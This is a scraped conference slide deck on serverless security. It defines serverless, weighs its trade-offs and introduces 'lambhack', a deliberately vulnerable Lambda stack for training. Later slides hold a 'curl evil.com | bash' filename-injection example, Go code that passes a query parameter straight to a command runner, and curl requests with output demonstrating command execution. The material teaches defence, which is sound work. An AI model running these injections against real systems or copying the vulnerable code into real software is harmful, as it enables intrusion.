138
SESSION ID: SESSION ID: #RSAC James Wickett Serverless Security: Are you ready for the Future? ASD-F01 Head of Research Signal Sciences @wickett

Serverless Security: Are you ready for the Future?

Embed Size (px)

Citation preview

Page 1: Serverless Security: Are you ready for the Future?

SESSION ID:SESSION ID:

#RSAC

James Wickett

Serverless Security: Are you ready for the Future?

ASD-F01

Head of ResearchSignal Sciences@wickett

Page 2: Serverless Security: Are you ready for the Future?

#RSAC

James Wickett

2

Head of Research at Signal SciencesAuthor DevOps Fundamentals at lynda.comAuthor of book on DevOps (email me for a free copy > [email protected])Blogger at theagileadmin.com and labs.signalsciences.com

Page 3: Serverless Security: Are you ready for the Future?

#RSAC

Conclusion

3

Serverless encourages functions as deploy units, coupled with third party services that allow running end-to-end applications without worrying about system operation. New serverless patterns are just emergingSecurity with serverless is easierSecurity with serverless is harder

Page 4: Serverless Security: Are you ready for the Future?

#RSAC

Conclusion (2)

4

Four key areas apply to serverless securitySoftware Supply Chain SecurityDelivery Pipeline SecurityData Flow SecurityAttack Detection

New! A very vulnerable lambda stack open source projectgithub.com/wickett/lambhack

Page 5: Serverless Security: Are you ready for the Future?

#RSAC

What is Serverless?

Page 6: Serverless Security: Are you ready for the Future?

#RSAC

Misconceptions

Page 7: Serverless Security: Are you ready for the Future?

#RSAC

It’s Marketing(cloud rebranded)

Page 8: Serverless Security: Are you ready for the Future?

#RSAC

Serverless == no servers

Page 9: Serverless Security: Are you ready for the Future?

#RSAC

Serverless ==Backend as a Service

Page 10: Serverless Security: Are you ready for the Future?

#RSAC

serverless == Platform as a Service

Page 11: Serverless Security: Are you ready for the Future?

#RSAC

TK: AdrianCO quote

Page 12: Serverless Security: Are you ready for the Future?

#RSAC

So, what is Serverless?

Page 13: Serverless Security: Are you ready for the Future?

#RSAC

http://martinfowler.com/articles/serverless.html

Page 14: Serverless Security: Are you ready for the Future?

#RSAC

@mikebroberts

Page 15: Serverless Security: Are you ready for the Future?

#RSAC

Serverless was first used to describe applications that

significantly or fully depend on 3rd party applications / services (‘in

the cloud’) to manage server-side logic and state.

http://martinfowler.com/articles/serverless.html

Page 16: Serverless Security: Are you ready for the Future?

#RSAC

Serverless can also mean applications where some amount of server-side logic is

still written by the application developer but unlike traditional architectures is run in stateless compute containers that are

event-triggered, ephemeral (may only last for one invocation), and fully managed by

a 3rd party. http://martinfowler.com/articles/serverless.html

Page 17: Serverless Security: Are you ready for the Future?

#RSAC

History of Serverless

17

2012 - used to describe BaaS and Continuous Integration services run by third partiesLate 2014 - AWS launched LambdaJuly 2015 - AWS launched API GatewayOctober 2015 - AWS re:Invent - The Serverless company using AWS Lambda2015 to present - Frameworks forming2016 - Serverless Conference

http://www.slideshare.net/AmazonWebServices/arc308-the-serverless-company-using-aws-lambda

Page 18: Serverless Security: Are you ready for the Future?

#RSAC

18

Client

Server

Database

Proxy/LB

ServerServer

Old School Arch

Page 19: Serverless Security: Are you ready for the Future?

#RSAC

Serverless Arch

19

Client

Auth Service API Gateway

Database Service

Function A

Function B

Web Delivery

Page 20: Serverless Security: Are you ready for the Future?

#RSAC

20

Page 21: Serverless Security: Are you ready for the Future?

#RSAC

What can we say is serverless?

Page 22: Serverless Security: Are you ready for the Future?

#RSAC

Serverless is Functions As a Service (FaaS)

Page 23: Serverless Security: Are you ready for the Future?

#RSAC

Containers on Demand

Page 24: Serverless Security: Are you ready for the Future?

#RSAC

Serverless is (no management of)

Servers

Page 25: Serverless Security: Are you ready for the Future?

#RSAC

Serverless IS SERVICEFULL

Page 26: Serverless Security: Are you ready for the Future?

#RSAC

Serverless is an opinionated framework for compute

Page 27: Serverless Security: Are you ready for the Future?

#RSAC

Serverless encourages functions as deploy units, coupled with third party

services that allow running end-to-end applications without worrying about

system operation.

Page 28: Serverless Security: Are you ready for the Future?

#RSAC

A Short History of Cloud

28

Page 29: Serverless Security: Are you ready for the Future?

#RSAC

Virtualization

Page 30: Serverless Security: Are you ready for the Future?

#RSAC

“The Cloud”

Page 31: Serverless Security: Are you ready for the Future?

#RSAC

DEVOPS

Page 32: Serverless Security: Are you ready for the Future?

#RSAC

SaaSPaaSIaaS

Page 33: Serverless Security: Are you ready for the Future?

#RSAC

Private Cloud

Page 34: Serverless Security: Are you ready for the Future?

#RSAC

Then, along came containers

Page 35: Serverless Security: Are you ready for the Future?

#RSAC

containers are teh hawtness

Page 36: Serverless Security: Are you ready for the Future?

#RSAC

\

Page 37: Serverless Security: Are you ready for the Future?

#RSAC

Lots of effort in Container Orchestration

Page 38: Serverless Security: Are you ready for the Future?

#RSAC

The Cloud was to Virtualization as Serverless

will be to Containers

Page 39: Serverless Security: Are you ready for the Future?

#RSAC

If you want to lead your company bravely into the new world, you

would do well to focus lot on how serverless will evolve.

- @Cloudopinionhttps://medium.com/@cloud_opinion/the-pattern-may-repeat-26de1e8b489d

Page 40: Serverless Security: Are you ready for the Future?

#RSAC

Serverless encourages functions as deploy units, coupled with third party

services that allow running end-to-end applications without worrying about

system operation.

Page 41: Serverless Security: Are you ready for the Future?

#RSAC

So, what are the upsides?

Page 42: Serverless Security: Are you ready for the Future?

#RSAC

Scaling built in

Page 43: Serverless Security: Are you ready for the Future?

#RSAC

Pay for what you use in 100MS increments

Page 44: Serverless Security: Are you ready for the Future?

#RSAC

With Serverless system administration is (mostly)

lower

Page 45: Serverless Security: Are you ready for the Future?

#RSAC

Serverless is implicit Microservices

Page 46: Serverless Security: Are you ready for the Future?

#RSAC

Short Circuits Ops and moves infrastructure

runtime closer to devs

Page 47: Serverless Security: Are you ready for the Future?

#RSAC

You can skip Chefing Dockering all the things!

Page 48: Serverless Security: Are you ready for the Future?

#RSAC

Lean Startup Friendly

Page 49: Serverless Security: Are you ready for the Future?

#RSAC

Increased Velocity

Page 50: Serverless Security: Are you ready for the Future?

#RSAC

Great, what’s the catch?

Page 51: Serverless Security: Are you ready for the Future?

#RSAC

Ops Burden to rationalize Serverless model

(specifically Deploy)

Page 52: Serverless Security: Are you ready for the Future?

#RSAC

Monitoring

Page 53: Serverless Security: Are you ready for the Future?

#RSAC

Logging

Page 54: Serverless Security: Are you ready for the Future?

#RSAC

Stateless for Real with no persistence* across

function runs

Page 55: Serverless Security: Are you ready for the Future?

#RSAC

Vendor Lock-In

Page 56: Serverless Security: Are you ready for the Future?

#RSAC

Security

Page 57: Serverless Security: Are you ready for the Future?

#RSAC

Reliability

Page 58: Serverless Security: Are you ready for the Future?

#RSAC

Page 59: Serverless Security: Are you ready for the Future?

#RSAC

Serverless Use cases

Page 60: Serverless Security: Are you ready for the Future?

#RSAC

Image resizing

Page 61: Serverless Security: Are you ready for the Future?

#RSAC

Queue processing

61

http://martinfowler.com/articles/serverless.html

Page 62: Serverless Security: Are you ready for the Future?

#RSAC

Run a web application

Page 63: Serverless Security: Are you ready for the Future?

#RSAC

API Gateway

63

http://martinfowler.com/articles/serverless.html

Page 64: Serverless Security: Are you ready for the Future?

#RSAC

CI/CD

Page 65: Serverless Security: Are you ready for the Future?

#RSAC

Security is the same and different

Page 66: Serverless Security: Are you ready for the Future?

#RSAC

What used to be system calls is now distributed

computing over the network

Page 67: Serverless Security: Are you ready for the Future?

#RSAC

Serverless shifts attack surface to third parties

Page 68: Serverless Security: Are you ready for the Future?

#RSAC

Lets try a sample application in AWS

Page 69: Serverless Security: Are you ready for the Future?

#RSAC

Go Sparta

69

Golang!AWS Lambda supports bring your own binarySparta wraps your binary with node.js shim

Page 70: Serverless Security: Are you ready for the Future?

#RSAC

Page 71: Serverless Security: Are you ready for the Future?

#RSAC

Other options

71

Serverless FrameworkAPEXKappa

Page 72: Serverless Security: Are you ready for the Future?

#RSAC

Wordy

72

Analyzes textual occurrences given a block of text, returns JSON count of wordsCalls API under the hood to get textIt is comprised of Lambda, s3, API Gateway

Page 73: Serverless Security: Are you ready for the Future?

#RSAC

Page 74: Serverless Security: Are you ready for the Future?

#RSAC

Page 75: Serverless Security: Are you ready for the Future?

#RSAC

Page 76: Serverless Security: Are you ready for the Future?

#RSAC

go run main.go provision -s S3_BUCKET

Page 77: Serverless Security: Are you ready for the Future?

#RSAC

Page 78: Serverless Security: Are you ready for the Future?

#RSAC

Page 79: Serverless Security: Are you ready for the Future?

#RSAC

Page 80: Serverless Security: Are you ready for the Future?

#RSAC

Page 81: Serverless Security: Are you ready for the Future?

#RSAC

Page 82: Serverless Security: Are you ready for the Future?

#RSAC

Page 83: Serverless Security: Are you ready for the Future?

#RSAC

Page 84: Serverless Security: Are you ready for the Future?

#RSAC

Page 85: Serverless Security: Are you ready for the Future?

#RSAC

Page 86: Serverless Security: Are you ready for the Future?

#RSAC

What I learned about serverless security

Page 87: Serverless Security: Are you ready for the Future?

#RSAC

Page 88: Serverless Security: Are you ready for the Future?

#RSAC

Security

Page 89: Serverless Security: Are you ready for the Future?

#RSAC

Four areas of Serverless Security

89

Secure Software Supply ChainDelivery PipelineData Flow SecurityAttack Detection

Page 90: Serverless Security: Are you ready for the Future?

#RSAC

Secure Software Supply Chain

Page 91: Serverless Security: Are you ready for the Future?

#RSAC

Surface area Reduction!

Page 92: Serverless Security: Are you ready for the Future?

#RSAC

Surface area Expansion!

Page 93: Serverless Security: Are you ready for the Future?

#RSAC

SSL / TLS from the Provider

Page 94: Serverless Security: Are you ready for the Future?

#RSAC

New Way

Old Way

Page 95: Serverless Security: Are you ready for the Future?

#RSAC

Routing from the provider

Page 96: Serverless Security: Are you ready for the Future?

#RSAC

Old Way

New Way

Page 97: Serverless Security: Are you ready for the Future?

#RSAC

Page 98: Serverless Security: Are you ready for the Future?

#RSAC

Lambda + s3 + kinesis + DynamoDB + cloudformation + API Gateway +

Auth0

Page 99: Serverless Security: Are you ready for the Future?

#RSAC

Abuse of open IAM privs

99

https://media.ccc.de/v/33c3-7865-gone_in_60_milliseconds

Page 100: Serverless Security: Are you ready for the Future?

#RSAC

Recommendation: Use a third-party service to monitor for provider config

changes

Page 101: Serverless Security: Are you ready for the Future?

#RSAC

Provider Security

101

Disable root access keysManage users with profilesSecure your keys in your deploy systemSecure keys in dev systemUse provider MFA

Page 102: Serverless Security: Are you ready for the Future?

#RSAC

Delivery Pipeline Security

Page 103: Serverless Security: Are you ready for the Future?

#RSAC

Page 104: Serverless Security: Are you ready for the Future?

#RSAC

Unit Testing

Page 105: Serverless Security: Are you ready for the Future?

#RSAC

Easier to mock

Harder to mock

Page 106: Serverless Security: Are you ready for the Future?

#RSAC

Page 107: Serverless Security: Are you ready for the Future?

#RSAC

Integration Testing

Page 108: Serverless Security: Are you ready for the Future?

#RSAC

Configuration is part of delivery

Page 109: Serverless Security: Are you ready for the Future?

#RSAC

Page 110: Serverless Security: Are you ready for the Future?

#RSAC

Simple Deploy Pipeline Security

110

Only dev keys can push to ‘dev’Only build/deploy system can push to pre-prodIntegration tests must pass in this envSecurity validation must take placeAllow push to prod, only by deploy system

Page 111: Serverless Security: Are you ready for the Future?

#RSAC

Security Integration Testing

111

BDD-Security - github.com/continuumsecurity/bdd-securityGauntlt - gauntlt.org

Page 112: Serverless Security: Are you ready for the Future?

#RSAC

http://www.slideshare.net/wickett/pragmatic-security-and-rugged-devops-sxsw-2015

Page 113: Serverless Security: Are you ready for the Future?

#RSAC

Data Flow Security

113

DevelopmentData Flow DiagramsThreat modeling

Runtime

Page 114: Serverless Security: Are you ready for the Future?

#RSAC

Your provider is responsible for the underlying infrastructure and services. You are responsible for ensuring you use the services in

a secure manner.https://read.acloud.guru/adopting-serverless-architectures-and-security-254a0c12b54a

Page 115: Serverless Security: Are you ready for the Future?

#RSAC

Application layer DoS

Page 116: Serverless Security: Are you ready for the Future?

#RSAC

Timeouts and Execution restrictions

Page 117: Serverless Security: Are you ready for the Future?

#RSAC

Attack Detection

Page 118: Serverless Security: Are you ready for the Future?

#RSAC

https://medium.com/@PaulDJohnston/security-and-serverless-ec52817385c4

Page 119: Serverless Security: Are you ready for the Future?

#RSAC

AppSec Greatest Hits (XSS, SQLi, Cmdexe) still relevant

15 years later!

Page 120: Serverless Security: Are you ready for the Future?

#RSAC

AppSec Problems

120

Page 121: Serverless Security: Are you ready for the Future?

#RSAC

Types of Attacks

121

XSS, Injection, Deserialization, …New surface area similar problemse.g. appending to ‘curl evil.com | bash’ or <script>alert(1)</script> to a filename you upload on s3

Page 122: Serverless Security: Are you ready for the Future?

#RSAC

Defense

122

Logging, emitting eventsVandium (SQLi) wrapperContent Security Policy (CSP)More things need to be done here…

Page 123: Serverless Security: Are you ready for the Future?

#RSAC

New Thing Alert!

123

Want to see make the point that appsec is still relevant in serverlessA vulnerable Lambda + API Gateway stack (born from the heritage of WebGoat, Rails Goat and Gruyere, …)

Introducing lambhack

Page 124: Serverless Security: Are you ready for the Future?

#RSAC

Page 125: Serverless Security: Are you ready for the Future?

#RSAC

lambhack

125

A Vulnerable Lambda + API Gateway stackOpen Source, MIT licensedReleased for the first time here at RSAIncludes arbitrary code execution in a query stringMore work needed, PRs accepted and looking for community helpgithub.com/wickett/lambhack

Page 126: Serverless Security: Are you ready for the Future?

#RSAC

//command := lambdaEvent.PathParams["command"] command := lambdaEvent.QueryParams["args"] output := runner.Run(command)

Vulnerable code is also vulnerable in Serverless

Page 127: Serverless Security: Are you ready for the Future?

#RSAC

Let’s take a look at cmdexe in lambhack

Page 128: Serverless Security: Are you ready for the Future?

#RSAC

$ curl "https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args=uname+-a;+sleep+1"

> Linux ip-10-36-34-119 4.4.35-33.55.amzn1.x86_64 #1 SMP Tue Dec 6 20:30:04 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

uname -a

Page 129: Serverless Security: Are you ready for the Future?

#RSAC

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args=cat+/proc/version;+sleep+1"

> Linux version 4.4.35-33.55.amzn1.x86_64 (mockbuild@gobi-build-60006) (gcc version 4.8.3 20140911 (Red Hat 4.8.3-9) (GCC) ) #1 SMP Tue Dec 6 20:30:04 UTC 2016

cat /proc/version

Page 130: Serverless Security: Are you ready for the Future?

#RSAC

$ curl "https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args=ls+-la+/tmp;+sleep+1"

total 17916 drwx------ 2 sbx_user1056 490 4096 Feb 8 22:02 . drwxr-xr-x 21 root root 4096 Feb 8 21:47 .. -rwxrwxr-x 1 sbx_user1056 490 18334049 Feb 8 22:02 Sparta.lambda.amd64

Let’s see /tmp

Page 131: Serverless Security: Are you ready for the Future?

#RSAC

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args=ls+/tmp;+sleep+1"

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/pargs=touch+/tmp/wickettfile;+sleep+1"

$ curl “https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/args=ls+/tmp;+sleep+1"

> Sparta.lambda.amd64 wickettfile

Lambda Reuse!

Page 132: Serverless Security: Are you ready for the Future?

#RSAC

$ curl "https://XXXX.execute-api.us-east-1.amazonaws.com/prod/serverless-audit/c?args=which+curl;+sleep+1"

> /usr/bin/curl

Could we upload our own payload?

Page 133: Serverless Security: Are you ready for the Future?

#RSAC

XSS, SQLi, … More to come!

Page 134: Serverless Security: Are you ready for the Future?

#RSAC

email me if you are interested: [email protected]

Page 135: Serverless Security: Are you ready for the Future?

#RSAC

Conclusion

135

Serverless encourages functions as deploy units, coupled with third party services that allow running end-to-end applications without worrying about system operation. New serverless patterns are just emergingSecurity with serverless is easierSecurity with serverless is harder

Page 136: Serverless Security: Are you ready for the Future?

#RSAC

Conclusion (2)

136

Four key areas apply to serverless securitySoftware Supply Chain SecurityDelivery Pipeline SecurityData Flow SecurityAttack Detection

New! A very vulnerable lambda stack open source projectgithub.com/wickett/lambhack

Page 137: Serverless Security: Are you ready for the Future?

#RSAC

Page 138: Serverless Security: Are you ready for the Future?

#RSAC

Let’s talk!

138

James [email protected]@wickett